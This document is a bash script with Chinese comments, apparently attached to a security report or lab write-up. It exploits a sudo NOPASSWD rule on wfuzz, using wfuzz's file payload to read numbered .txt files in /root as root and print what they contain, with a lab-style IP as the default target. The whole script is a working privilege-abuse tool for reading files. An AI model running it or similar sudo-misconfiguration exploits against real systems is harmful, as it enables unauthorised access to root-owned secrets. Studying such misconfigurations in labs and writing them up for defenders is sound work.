#!/bin/bash
# =============================================================================
# wfuzz-root-discovery.sh
# 利用 sudo wfuzz 的 file 读取能力，通过 range 循环探测 /root 目录下的隐藏文件
#
# 前提条件：
#   - 当前用户拥有 sudo NOPASSWD: /usr/bin/wfuzz 权限
#   - 目标 /root 目录下的文件为 .txt 格式
#
# 用法：
#   ./wfuzz-root-discovery.sh [起始范围] [结束范围] [扩展名] [目标 URL]
#
# 示例：
#   ./wfuzz-root-discovery.sh 0 200 txt http://192.168.1.107/FUZZ
#   ./wfuzz-root-discovery.sh 0 999 txt http://192.168.1.107/FUZZ
#
# 来源：Yu111 报告附件
# =============================================================================

set -euo pipefail

START=${1:-0}
END=${2:-200}
EXT=${3:-txt}
TARGET_URL=${4:-http://192.168.1.107/FUZZ}

echo "[*] 探测范围: /root/${START}.${EXT} ~ /root/${END}.${EXT}"
echo "[*] 开始时间: $(date)"
echo ""

FOUND=0

for i in $(seq "$START" "$END"); do
    result=$(sudo wfuzz -z file,/root/${i}.${EXT} --hc 404 "$TARGET_URL" 2>/dev/null || true)
    if echo "$result" | grep -q "000000001"; then
        payload=$(printf '%s\n' "$result" | awk -F'"' '/000000001/ {print $2; exit}')
        echo "[+] 发现: /root/${i}.${EXT}"
        echo "    内容: ${payload}"
        FOUND=$((FOUND + 1))
    fi
done

echo ""
echo "[*] 完成时间: $(date)"
echo "[*] 共发现 ${FOUND} 个文件"

if [ "$FOUND" -eq 0 ]; then
    echo "[!] 未发现任何文件，建议扩大范围或更换扩展名"
    echo "    用法: $0 <start> <end> [ext]"
fi